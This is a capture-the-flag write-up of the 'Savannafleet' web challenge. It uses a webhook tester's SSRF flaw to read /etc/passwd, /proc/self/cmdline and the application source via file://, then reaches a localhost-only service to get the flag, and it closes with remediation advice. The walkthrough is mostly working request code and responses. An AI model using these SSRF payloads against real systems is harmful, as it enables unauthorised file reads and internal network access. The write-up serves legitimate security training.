Challenge: Savannafleet
Points: 200
Category: Web / SSRF
Flag Format: GoH{}
Date: 2026-04-30
Target: 209.38.92.205:33323
Table of Contents
- Reconnaissance
- Authentication
- SSRF Discovery
- Filesystem Enumeration
- Application Source Code Retrieval
- Internal Service Discovery
- Flag Retrieval
- Summary & Remediation
1. Reconnaissance
Initial Connection
First, I probed the target to understand what service was running:
curl -s http://209.38.92.205:33323/ -v
The service returned a Flask-based web application titled "SavannaFleet Pro" — an East Africa Fleet Telematics Platform. The page had links to a Fleet Manager Portal (/login) and displayed operational statistics.
Exploring Endpoints
The hint mentioned internal/config, so I directly tested that path:
curl -s http://209.38.92.205:33323/internal/config -v
Result: 404 Not Found — the endpoint was not publicly accessible.
Other paths checked:
/login— Login page (accessible)/dashboard— Required authentication (302 redirect when unauthenticated)/config,/api/config,/admin/config— All returned 404
2. Authentication
The login page (/login) contained a helpful hint in a styled box:
Assessment Access
[email protected] / Otieno2024
These credentials were presumably meant for the CTF participant to proceed.
Login Request
curl -s -X POST http://209.38.92.205:33323/login \
-d "email=otieno%40savannafuels.co.ke&password=Otieno2024" \
-L -c cookies.txt -b cookies.txt -v
Result: Login successful! The server set a session cookie:
Set-Cookie: session=eyJjb21wYW55IjoiU2F2YW5uYSBGdWVscyBMdGQiLCJmbGVldF9pZCI6IlNGLUtFLTAwMSIsIm5hbWUiOiJPdGllbm8gS2FyaXVraSIsInVpZCI6MX0.afM9qg.PzMiVe7dT4soej39MJswwgFNmoM
The session cookie is a signed JWT containing user metadata (company, fleet_id, name, user_id).
After authentication, I accessed the dashboard:
curl -s http://209.38.92.205:33323/dashboard -b "session=<cookie>"
The dashboard displayed fleet statistics and vehicle status for Savanna Fuels Ltd.
3. SSRF Discovery
Navigating to the Integrations page (/integrations) revealed a Webhook Connectivity Tester — a feature allowing users to test if their webhook endpoints were reachable from the SavannaFleet server.
The page contained a form that POSTed JSON to /integrations/test:
fetch('/integrations/test', {
method: 'POST',
headers: {'Content-Type':'application/json'},
body: JSON.stringify({url: url})
})
This is a classic Server-Side Request Forgery (SSRF) test endpoint.
Testing SSRF
I tested the endpoint with a local target:
import requests
s = requests.Session()
# ... login steps ...
r = s.post('http://209.38.92.205:33323/integrations/test',
json={'url': 'http://localhost:33323/internal/config'})
print(r.json())
Result:
{
"error": "<urlopen error [Errno 111] Connection refused>",
"success": false,
"url": "http://localhost:33323/internal/config"
}
The endpoint was reachable, but the connection to localhost was refused. This indicated the SSRF was functional, but the target service might be on a different port or required a different protocol.
4. Filesystem Enumeration
Since the SSRF allowed arbitrary URLs, I tested the file:// scheme to read local files — a common SSRF escalation vector.
Reading /etc/passwd
r = s.post('http://209.38.92.205:33323/integrations/test',
json={'url': 'file:///etc/passwd'})
print(r.json())
Success! The SSRF allowed file reads:
{
"success": true,
"response": "root:x:0:0:root:/root:/bin/bash\n...",
"url": "file:///etc/passwd"
}
Notable users found:
appuser:x:1001:999::/home/appuser:/bin/sh— the application user
This confirmed full filesystem read access via the SSRF.
5. Application Source Code Retrieval
Knowing the app ran as appuser, I tried to locate the source code by reading the process command line:
r = s.post('http://209.38.92.205:33323/integrations/test',
json={'url': 'file:///proc/self/cmdline'})
Result: python\x00/app/src/app.py\x00
The Flask application was located at /app/src/app.py. I read it in full:
r = s.post('http://209.38.92.205:33323/integrations/test',
json={'url': 'file:///app/src/app.py'})
print(r.json()['response'])
Key Findings in app.py
The source code revealed critical information:
FLAG = os.environ.get("GZCTF_FLAG", "GoH{[TEAM_HASH]}")
DB = "/tmp/savanna.db"
INTERNAL_PORT = 8877 # <-- Internal server port!
More importantly, the application started a hidden internal HTTP server on a separate thread:
def run_internal():
from http.server import HTTPServer, BaseHTTPRequestHandler
class H(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == "/internal/config":
body = json.dumps({
"service": "SavannaFleet Metadata",
"version": "2.4.1",
"region": "east-africa",
"telematics_key": "sfpro_tlm_k3y_2025",
"flag": os.environ.get("GZCTF_FLAG", "GoH{test_flag_local_dev}")
}).encode()
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.end_headers()
self.wfile.write(body)
# ... other routes ...
HTTPServer(("127.0.0.1", INTERNAL_PORT), H).serve_forever()
# Started in background:
threading.Thread(target=run_internal, daemon=True).start()
The internal server bound to 127.0.0.1:8877 and served the flag at /internal/config — but only accessible from localhost.
6. Internal Service Discovery
The SSRF could reach internal services! Earlier, connections to localhost:8877 failed with "Connection refused". But I realized I hadn't tried 127.0.0.1 explicitly via the SSRF (the previous tests were on port 33323, not 8877).
7. Flag Retrieval
I used the SSRF to access the internal server on port 8877:
url = 'http://127.0.0.1:8877/internal/config'
r = s.post('http://209.38.92.205:33323/integrations/test',
json={'url': url})
result = r.json()
print(result)
SUCCESS! The internal server responded through the SSRF:
{
"success": true,
"status": 200,
"response": "{\"service\": \"SavannaFleet Metadata\", \"version\": \"2.4.1\", \"region\": \"east-africa\", \"telematics_key\": \"sfpro_tlm_k3y_2025\", \"flag\": \"GoH{d8b889a253b8}\"}",
"url": "http://127.0.0.1:8877/internal/config"
}
Flag Confirmation
The flag was also returned via localhost:8877 and 0.0.0.0:8877:
GoH{d8b889a253b8}
The flag format matched the expected GoH{} pattern.
8. Summary & Remediation
Vulnerability Chain
-
SSRF via Webhook Tester (
/integrations/test): Accepted arbitrary URLs without validation, allowing:file://protocol — Arbitrary file read (LFI)http://to internal IPs — Access to internal serviceshttp://127.0.0.1:PORT— Access to localhost-bound services
-
Information Disclosure: Source code exposure via file read revealed the internal server on port 8877.
-
Internal Service Access: SSRF used to reach
127.0.0.1:8877/internal/config, bypassing network-level isolation.
Remediation Recommendations
-
URL Validation: Restrict allowed schemes in
/integrations/testto onlyhttp://andhttps://. Rejectfile://,gopher://,dict://, etc.from urllib.parse import urlparse parsed = urlparse(url) if parsed.scheme not in ('http', 'https'): return jsonify({"error": "Invalid URL scheme"}), 400 -
IP Allowlisting: Prevent requests to private IP ranges (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, etc.).
-
Network Segmentation: Run the internal service on a separate network namespace or use a Unix socket instead of TCP.
-
Authentication: Require authentication or a shared secret for internal endpoints.
-
Defense in Depth: Don't expose sensitive configuration via HTTP endpoints, even on localhost. Use proper secrets management (e.g., HashiCorp Vault, AWS Secrets Manager, or environment variables with restricted access).
Commands Used (Complete Log)
1. Initial Recon
curl -s http://209.38.92.205:33323/ -v
curl -s http://209.38.92.205:33323/internal/config -v
curl -s http://209.38.92.205:33323/login
curl -s http://209.38.92.205:33323/robots.txt
2. Authentication
curl -s -X POST http://209.38.92.205:33323/login \
-d "email=otieno%40savannafuels.co.ke&password=Otieno2024" \
-L -c cookies.txt -b cookies.txt -v
3. Dashboard Access
curl -s http://209.38.92.205:33323/dashboard -b "session=<cookie>"
curl -s http://209.38.92.205:33323/integrations -b "session=<cookie>"
4. SSRF Probe (via Python)
import requests
s = requests.Session()
s.post('http://209.38.92.205:33323/login', data={'email':'[email protected]','password':'Otieno2024'})
r = s.post('http://209.38.92.205:33323/integrations/test', json={'url':'file:///etc/passwd'})
print(r.json())
5. Source Code Retrieval
r = s.post('http://209.38.92.205:33323/integrations/test', json={'url':'file:///proc/self/cmdline'})
r = s.post('http://209.38.92.205:33323/integrations/test', json={'url':'file:///app/src/app.py'})
6. Flag Retrieval
r = s.post('http://209.38.92.205:33323/integrations/test', json={'url':'http://127.0.0.1:8877/internal/config'})
print(r.json())
Flag: GoH{d8b889a253b8}
Challenge: Savannafleet (200 pts)
Status: ✅ SOLVED